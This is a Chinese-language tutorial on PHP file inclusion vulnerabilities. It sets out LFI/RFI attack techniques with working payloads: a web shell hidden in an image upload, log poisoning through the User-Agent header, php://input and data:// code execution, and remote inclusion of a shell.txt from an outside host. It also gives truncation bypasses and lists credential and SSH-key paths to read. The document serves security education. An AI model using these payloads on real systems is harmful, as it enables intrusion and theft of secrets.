文件包含漏洞
文件包含漏洞
文件包含漏洞主要是指攻击者利用程序中的文件包含功能,从而实现执行任意文件的目的。在许多编程语言中,如PHP,为了方便代码的重用,通常会有文件包含的函数,如include()、require()等。这些函数在正常情况下是用来引入库文件或模板的,但如果使用不当,就可能形成安全漏洞
文件包含漏洞的基本原理:
- 文件包含函数的使用: 当程序员使用文件包含函数时,如果传入的文件名是一个变量,并且这个变量来自用户输入,而没有进行适当的过滤,就可能存在安全风险
- 本地文件包含(LFI): 攻击者可以包含服务器上的文件。如果攻击者能够控制包含的文件内容,或者包含的文件本身包含了敏感信息(如配置文件),那么攻击者就可能读取这些敏感信息
- 远程文件包含(RFI): 如果服务器上的文件包含功能允许远程文件包含,并且
allow_url_fopen和allow_url_include配置为On,攻击者可以通过URL指向一个外部服务器上的恶意文件,服务器将下载并执行这个文件
常见文件包含函数
include():执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行;
require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本;
include_once()和 require_once():若文件中代码已被包含,则不会再次包含
常见攻击方式
文件包含/etc/passwd
如果存在漏洞,文件又存在的时候,不是 php文件会被读取显示在页面中。/etc/passwd文件是 linux 里的敏感信息,文件里存有linux用户的配置信息
http://example.com/vulnerable_script.php?file=/etc/passwd
文件包含图片
寻找网站上传点,把 php 恶意代码文件改成 jpg 上传到网站上,本地包含引入恶意代码,当文件被引入后,代码就被执行。 <?php phpinfo();eval($_POST['cmd']);?> 保存为 shell.jpg 上传图片格式到网站,再用文件包含漏洞引入图片,成功执行代码
包含日志文件getshell
中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中,存在有 php 代码,也可以引入到文件包含中。如果日志有 php 恶意代码,也可导致 getshell。我们需要知道服务器日志文件(如Apache的access.log或error.log)的存储位置。这些文件通常位于/var/log/apache2/、/var/log/httpd/或其他类似的位置
我们可以通过构造特定的HTTP请求,将恶意PHP代码注入到服务器的日志文件中
GET /index.php HTTP/1.1
Host: vulnerable-website.com
User-Agent: <?php system($_GET['cmd']); ?>
当服务器处理这个请求时,User-Agent部分会被记录在access.log文件中,接下来,使用文件包含漏洞来包含这个日志文件。如果我们知道日志文件的路径,可以构造一个URL
http://vulnerable-website.com/vulnerable_script.php?file=/var/log/apache2/access.log&cmd=whoami
包含环境变量getshell
在某些情况下,Web应用程序可能会将环境变量包含在输出中,或者在某些配置下,环境变量可以被包含并执行。以下是一些常见的方法,我们可以利用它们通过包含环境变量来获取shell:
-
LD_PRELOAD环境变量(仅限Linux系统): 在Linux系统中,LD_PRELOAD环境变量可以用来设置在程序运行前优先加载的库。如果可以控制这个环境变量,我们可以加载一个恶意的共享库,该库包含执行任意代码的功能。例如,如果我们可以设置
LD_PRELOAD环境变量为恶意的共享对象文件(.so)的路径,那么任何使用LD_PRELOAD的应用程序启动时都会加载这个恶意的库。 -
DOCUMENT_ROOT、SCRIPT_FILENAME等环境变量: 在某些情况下,Web服务器会将环境变量暴露给PHP脚本。如果脚本存在文件包含漏洞,我们可以会尝试包含这些环境变量指向的文件
示例:利用DOCUMENT_ROOT环境变量来尝试获取shell:
构造请求
GET /vulnerable_script.php?file=../../../../../../../../../proc/self/environ HTTP/1.1
Host: vulnerable-website.com
尝试包含/proc/self/environ文件,该文件包含了当前进程的所有环境变量。如果服务器配置不当,这个文件可能包含了敏感信息,如数据库密码或其他配置信息,我们可以利用这些信息进一步攻击系统。
伪协议
在PHP中,伪协议是一种特殊的方式来访问数据流,它允许开发者通过特定的协议前缀来读取或写入数据,而不仅仅是传统的文件系统路径。伪协议可以用于文件包含、文件上传、图像处理等场景
php.ini参数设置
在 php.ini 里有两个重要的参数:allow_url_fopen、allow_url_include。 allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件; allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件
各种协议利用方法
-
file:// :
通过file协议可以访问本地文件系统,读取到文件的内容,不受allow_url_fopen与allow_url_include的影响,示例payload:
/test.php?file=C:\Windows\System32\drivers\etc\hosts
-
http://, ftp:// :
默认条件:
allow_url_fopen = On allow_url_include = On示例payload:
/test.php?file=http://example.com/hosts.txt
/test.php?file=ftp://user:password@example.com/hosts.txt
- php://filter :
php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式的文件函数非常有用,类似readfile()、file()和file_get_contents(),在数据流内容没有读取之前没有机会应用其他过滤器有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,这时候我们可以以base64编码的方式读取指定文件的源码,示例payload:
/test.php?file=php://filter/convert.base64-encode/resource=文件路径
- php://input :
前提条件:
allow_url_include = On
对allow_url_fopen不做要求
php://input可以读取没有处理过的post数据,就是用它之后,post直接放完整的php代码就可以 访问此页面,示例payload:
test.php?file=php://input
并且在请求体里加上payload:
GET /test.php?file=php://input HTTP/1.1
...
Connection: close
<?php phpinfo(); ?>
- zlib://, bzip2:// :
压缩流,可以访问压缩文件中的子文件,将子文件的内容当做php代码执行,不受allow_url_fopen、allow_url_include影响 文件路径无绝对路径限制;zlib://协议文件压缩为zip或gz都可以,bzip2://协议文件压缩为bz2;后缀名也可以改为其他如图片后缀
/test.php?file=compress.zlib://shell.zip
/test.php?file=compress.bzip2://shell.bz2
- data:// :
前提条件:
php版本大于等于php5.2
allow_url_fopen = On
allow_url_include = On
利用 data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo() 函数,data://text/plain/;base64,php木马的base64 形式,如果base64加密出现+需要做URL编码为%2b,否则会报错
示例payload:
<?php system("whoami");?> base64编码后:PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/Pg==
/test.php?file=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/Pg==
- zip :
前提条件:
PHP版本大于等于5.2.0。
php.ini 配置中 allow_url_include 必须设置为 On
知道服务器上压缩文件的绝对路径
压缩流,可以访问压缩文件中的子文件,将子文件的内容当做php代码执行,不受allow_url_fopen、allow_url_include影响 文件路径必须为绝对路径;zip文件后缀名可以改为其他如图片后缀;#进行url编码为%23,示例payload:
/test.php?file=zip://absolute/path/to/malicious.zip%23malicious.php
- glob:// :
PHP 伪协议 glob:// 可以用于获取符合指定模式的文件路径列表。类似于原生的 glob() 函数,但 glob:// 可以用于读取远程文件系统或者压缩文件中的文件列表。例如:
$files = glob('glob://*.php');
print_r($files);
这个例子将返回所有 PHP 扩展名的文件列表,不仅仅限于当前服务器上的文件系统。可以通过指定不同的调用参数,参数之间使用“|” 分隔,例如“glob://*.txt|flags=GLOB_BRACE”,来指定返回不同的结果集。 网站源码如下
<?php
$it = new DirectoryIterator($_GET['file']);
foreach($it as $f){
printf("%s", $f->getFilename());
echo '</br>';
}
?>
遍历文件或者通配符,打印需要一个过程
/glob.php?file=glob://absolute/path/to/*.*
- phar:// :
PHP 伪协议 phar:// 可以用于在 PHP 中访问 Phar(PHP 归档)文件中的资源(如文件和目录)。 Phar 文件是一个 PHP 应用程序或库的预打包归档文件,它可以包含代码、配置、模板、图片、音频等相关资源。Phar 格式相当于 Java 中的 JAR 包,.NET 中的 DLL 文件,或者 Python 中的 Egg 包。 通过 phar:// 协议,我们可以在 PHP 中方便地对 Phar 文件中的特定资源进行读取、写入、修改、添加和删除等操作,而无需解压缩整个 Phar 文件,从而提高了文件操作的效率。 举例来说,假设我们的目录结构如下:
app.phar
index.php
app.phar 是一个包含库代码和配置文件的 Phar 文件。我们可以通过以下方式在 index.php 中调用 Phar 文件中包含的某个文件
$pharFile = 'phar://app.phar/path/to/file.txt';
$fileContent = file_get_contents($pharFile);
这是将 Phar 文件中 /path/to/file.txt 文件的内容读取到 $fileContent 变量中。通过 phar:// 协议,我们可以轻松地访问 Phar 文件中的资源。 可以调用phar://的函数列表
| fileatime | filectiome | file_exists | file_get_contents |
|---|---|---|---|
| file_put_contents | file | filegroup | fopen |
| fileinode | filemtiome | fileowner | fileperms |
| is_dir | is_executable | is_file | is_link |
| is_readable | is_writable | is_writeable | parse_ini_file |
| copy | unlink | stat | readfile |
phar文件要能够上传到服务器端。如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数要有可用的魔术方法作为“跳板”。文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。 可以理解为一个标志,格式为
xxx<?php xxx ;__HALT_COMPILER() ;?>
,前面内容不限,但必须以__HALT_COMPILER() ;?> 来结尾,否则phar扩展将无法识别这个文件为phar文件。 phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
-
expect:// :
该封装协议默认未开启
expect://是 PHP 中的一个伪协议(Wrapper),用于执行交互式命令。它在 PHP 5.4.0 版本中被引入,需要安装 Expect 扩展才能使用。 Expect 是一个用于自动化交互式进程的工具,它可以从一个脚本中发送命令,并且根据命令输出来自动匹配响应,从而实现自动化控制。在 PHP 中,通过expect://伪协议可以直接访问 Expect 工具,方便地使用其功能。 下面是一个expect://的实例:
// 通过 expect:// 打开 telnet 连接
$handle = fopen("expect://telnetbbs.example.com", "r+");
// 向 telnet 发送命令
fwrite($handle, "username\n");
fwrite($handle, "password\n");
fwrite($handle, "ls\n");
// 读取 telnet 输出
echo stream_get_contents($handle);
// 关闭连接
fclose($handle);
我们通过 expect:// 打开了一个 Telnet 连接,并向其发送了一些命令,最后读取了 Telnet 的响应并关闭了连接。 需要注意的是,使用 expect:// 时需要安装 Expect 扩展,如果扩展没有安装,则会抛出一个致命错误。而且使用 Expect 执行交互式命令需要精确匹配命令输出中的某些字符,因此需要更加仔细地编写代码。 如果没有安装这个扩展会报错
- ssh2:// :
该封装协议默认未开启
ssh2.shell://user:pass@example.com:22/xterm
-
rar:// :
该封装协议默认未开启,在某些情况下,如果应用程序不正确地处理文件路径或允许用户输入直接用于文件操作,我们可以尝试包含本地文件系统上的RAR文件内容。例如:
<?php
// 假设这是一个存在漏洞的PHP脚本
$file =$_GET['file'];
include("rar://$file");
?>
如果我们可以控制$file变量,我们可以尝试包含一个RAR文件中的内容,如下:
http://example.com/vulnerable_script.php?file=/path/to/archive.rar%23file-inside-rar
%23是#的URL编码形式,用于指定RAR文件内的具体文件。这种攻击可能允许我们读取或执行RAR文件中的敏感内容
- ogg:// :
该封装协议默认未开启
ogg://soundfile.ogg
ogg:// 是 PHP 中的一个伪协议(Wrapper),用于读取 Ogg Vorbis 格式的音频文件。通过 ogg:// 伪协议,我们可以像操作本地文件一样地读取和处理 Ogg Vorbis 格式的音频文件,无需下载到本地硬盘。 Ogg Vorbis 是一个自由、开放的音频压缩格式,与 MP3 相比,它有更好的压缩比和音频质量,通常用于开源软件的音频压缩和传输。 下面是一个 ogg:// 的实例:
// 打开 Ogg Vorbis 文件
$file = fopen("ogg://example.com/song.ogg", "rb");
// 读取文件内容
$content = stream_get_contents($file);
// 关闭文件
fclose($file);
在上面的代码中,我们打开了一个远程 Ogg Vorbis 文件,读取了其中的内容并关闭了文件句柄。 需要注意的是,使用 ogg:// 伪协议需要安装相关扩展,如 Ogg 和 Vorbis 扩展等。同时,由于 Ogg 文件通常较大,因此在读取和处理数据时需要考虑内存占用和性能问题
文件包含常用路径
日志文件
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
网站配置文件
dedecms 数据库配置文件 data/common.inc.php,
discuz 全局配置文件 config/config_global.php,
phpcms 配置文件 caches/configs/database.php
phpwind 配置文件 conf/database.php
wordpress 配置文件 wp-config.php
包含系统配置文件
windows:
C:/boot.ini//查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml//IIS 配置文件
C:/Windows/repairsam//存储系统初次安装的密码
C:/Program Files/mysql/my.ini//Mysql 配置
C:/Program Files/mysql/data/mysql/user.MYD//Mysql root
C:/Windows/php.ini//php 配置信息
C:/Windows/my.ini//Mysql 配置信息
linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
包含远程文件 当远程文件开启时,可以包含远程文件到本地执行。当 allow_url_fopen=On allow_url_include=ON 两个条件同时为 On 允许远程包含文件
绕过截断
假如用户控制 $file 的值为 :../../etc/passwd 那么这段代码相当于 include 'inc/../../etc/passwd.htm' ,而这个文件显然是不存在
<?php include("inc/" . $_GET['file'] . ".htm"); ?>
%00截断
%00 截断需要 php 版本小于 5.3.4 ,且关闭 magic_quotes_gpc 功能。 %00 为结束符,在 filename 后带上 %00 ,就可以截断末尾的 .php
/test.php?file=../../../../../windows/system32/drivers/etc/hosts%00
?截断
在路径后面输入 ?号,服务器会认为 ?号后面的内容为 GET 方法传递的参数"?" 符号在 URL 中通常被解释为查询字符串的起始符号,并将其后面的内容作为查询参数传递给服务器。在文件包含攻击中,我们可以通过构造恶意请求来读取或执行未授权访问的文件
/test.php?file=http://file.eagleslab.com:8889/data/shell.txt?
/test.php?file=http://file.eagleslab.com:8889/data/shell.txt%3f
/test.php?file=http://file.eagleslab.com:8889/data/shell.txt%00
路径长度截断
Windows 下目录最大长度为 256 字节,超出的部分会被丢弃 Linux 下目录最大长度为 4096 字节,超出的部分会被丢弃
/test.php?file=shell.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
点号截断
类似长度截断, php 版本小于 5.3 可以成功,只适用 windows ,点号需要多于 256
/test.php?file=shell.txt............................................................................................................................................................................................................................................................................................................................................................
问号绕过
在一些 Web 服务器上,文件名后加 "?" 号会被解释为查询字符串的起始符号,并将其后面的内容作为查询参数传递给服务器。因此,如果一个网站存在文件包含漏洞,我们可以尝试在文件名后加 "?" 号并构造一个恶意查询参数来绕过某些安全检查。 但是,这种攻击方式并不是所有 Web 服务器都支持。例如, Apache Web 服务器默认情况下不允许在文件名后加"?" 号进行文件包含操作,而需要在配置文件中显式开启该功能
#号绕过
"#" 符号在 URL 中通常被解释为锚点或片段标识符,用于指定文档内的特定位置。在文件包含攻击中,我们可以通过构造恶意请求来读取或执行未授权访问的文件。文件名后加 "%23"(# 号编码: %23)
空格绕过
空格字符在 URL 中通常会被转义为 "%20" 或 "+" 等编码形式。因此,我们可以尝试在 URL 中使用空格字符来绕过文件包含防护措施,大多数 Web 服务器会将空格字符解释为编码后的形式,并根据配置文件或应用程序代码进行相应的处理
编码
通过 URL 编码来绕过过滤:攻我们可以使用 URL 编码来混淆字符,从而绕过过滤器的检查
伪协议
用伪协议尝试攻击 利用伪协议来绕过过滤:我们可以使用伪协议(如 php://input )来绕过过滤器的检查
null字符
用null 字节来绕过过滤:我们可以在文件路径中插入 null 字节( \0 ),使得文件被截断,绕过过滤器的检查。 在许多编程语言和操作系统中, null 字符( \0 )用作字符串的结束标志。在文件系统中,如果文件名包含 null 字符,则系统将其视为字符串的结束,从而导致文件路径被截断,绕过一些安全检查

浙公网安备 33010602011771号